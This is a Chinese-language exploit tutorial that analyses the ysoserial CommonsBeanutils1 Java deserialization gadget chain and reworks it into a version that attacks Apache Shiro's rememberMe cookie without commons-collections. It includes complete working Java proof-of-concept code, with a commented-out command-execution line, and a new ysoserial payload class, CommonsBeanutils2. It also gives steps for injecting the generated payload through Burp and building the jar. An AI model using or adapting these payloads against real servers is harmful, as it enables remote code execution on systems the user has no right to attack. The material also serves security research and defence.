ysoserial-CommonsBeanutils1的shiro無依賴鏈改造
ysoserial-CommonsBeanutils1的shiro無依賴鏈改造
一、CB1利用鏈分析
此條利用鏈需要配合Commons-Beanutils組件來進行利用,在shiro中是自帶此組件的。
先上大佬寫的簡化版利用鏈,和ysoserial中的程式碼有點不同,但原理是一樣的
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsBeanutils {
// 修改值的方法,簡化程式碼
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
public static void main(String[] args) throws Exception {
// 創建惡意類,用於報錯拋出調用鏈
ClassPool pool = ClassPool.getDefault();
CtClass payload = pool.makeClass("EvilClass");
payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
// payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] evilClass = payload.toBytecode();
// set field
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
setFieldValue(templates, "_name", "test");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
// 創建序列化對象
BeanComparator beanComparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(1);
queue.add(1);
// 修改值
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
// 反序列化
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(queue);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();
}
}
在分析每一條利用鏈的方法時候,我都會從以下幾個點來進行分析:
1、首先要找到反序列化入口(source)
2、調用鏈(gadget)
3、觸發漏洞的目標方法(sink)
而此條利用鏈,這三點分別為:
1)入口:
PriorityQueue#readObject
2)調用鏈:
PriorityQueue#readObject -》 BeanComparator#compare -》 TemplatesImpl#getOutputProperties
3)觸發漏洞的目標方法:
TemplatesImpl#getOutputProperties
PriorityQueue
PriorityQueue#readObject作為CC2的入口點,在CB1鏈中同樣是以此為入口,其readObject中有個heapify方法

跟進heapify,在713行會去調用siftDown方法,前提是滿足for循環中的size值大於等於2

siftDown方法中,通過一個if判斷後,會調用到兩個方法,而在siftDownUsingComparator中才是執行調用鏈的操作

跟進siftDownUsingComparator方法,可以看到在699行調用了comparator#compare,整個PriorityQueue類的漏洞調用鏈就是到這裡了

BeanComparator
BeanComparator是一個bean比較器,用來比較兩個JavaBean是否相等,其實現了java.util.Comparator介面,有一個Comparator方法

可以看到,在Comparator方法中先判斷property值是否為空,之後調用了PropertyUtils.getProperty方法。而PropertyUtils.getProperty這個方法會去調用傳入的javaBean中this.property值的getter方法,這個點是調用鏈的關鍵!
TemplatesImpl
漏洞的觸發點就是利用了TemplatesImpl#getOutputProperties()方法的載入位元組碼,來調用到惡意類的構造方法、靜態方法。整個調用鏈就不分析了,這裡寫下調用鏈:
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
二、Shiro無依賴利用鏈改造
在ysoserial中的CB1鏈,其實是依賴commons.collections包的,也就是CC鏈中的包,因為其BeanComparator類的構造方法中,會調用到ComparableComparator.getInstance(),ComparableComparator類就是在commons.collections包中。

shiro中自帶了Commons-Beanutils組件,並沒有自帶commons.collections包。所以我們嘗試修改CB1鏈來使其脫離commons.collections包的限制。
需要滿足三個條件:
- 實現
java.util.Comparator介面 - 實現
java.io.Serializable介面 - Java、shiro或commons-beanutils自帶,且兼容性強
在這裡師傅們找到了兩個類
CaseInsensitiveComparator和java.util.Collections$ReverseComparator
以CaseInsensitiveComparator類為例,CaseInsensitiveComparator對象是通過String.CASE_INSENSITIVE_ORDER拿到的

只需要把String.CASE_INSENSITIVE_ORDER放入BeanComparator類的構造函數中即可使if為真,從而不調用到CC組件中的類
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

這裡使用P神已經寫好的POC來進行測試,項目地址在//github.com/phith0n/JavaThings
打開shiroattack項目

運行以上的Client1後,會生成cookie中對應的rememberMe值

shiro環境同樣使用P神的環境//github.com/phith0n/JavaThings,注釋掉環境shiro環境中的commons-collections組件

訪問/login.jsp介面勾選rememberMe登錄,使用burp抓包,在cookie裡面添加rememberMe=payload;

另一個類java.util.Collections$ReverseComparator,也是通過其靜態方法拿到

同樣只需要把Collections.reverseOrder()放入BeanComparator類的構造函數中即可
BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());
三、ysoserial改造
把以下程式碼加入ysoserial的payloads模組即可
package ysoserial.payloads;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.util.Collections;
import java.util.PriorityQueue;
public class CommonsBeanutils2 implements ObjectPayload<Object>{
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsBeanutils2.class, args);
}
}

打包jar
mvn clean package -DskipTests

參考:
//cloud.tencent.com/developer/article/1816604
//www.cnblogs.com/bitterz/p/15401105.html


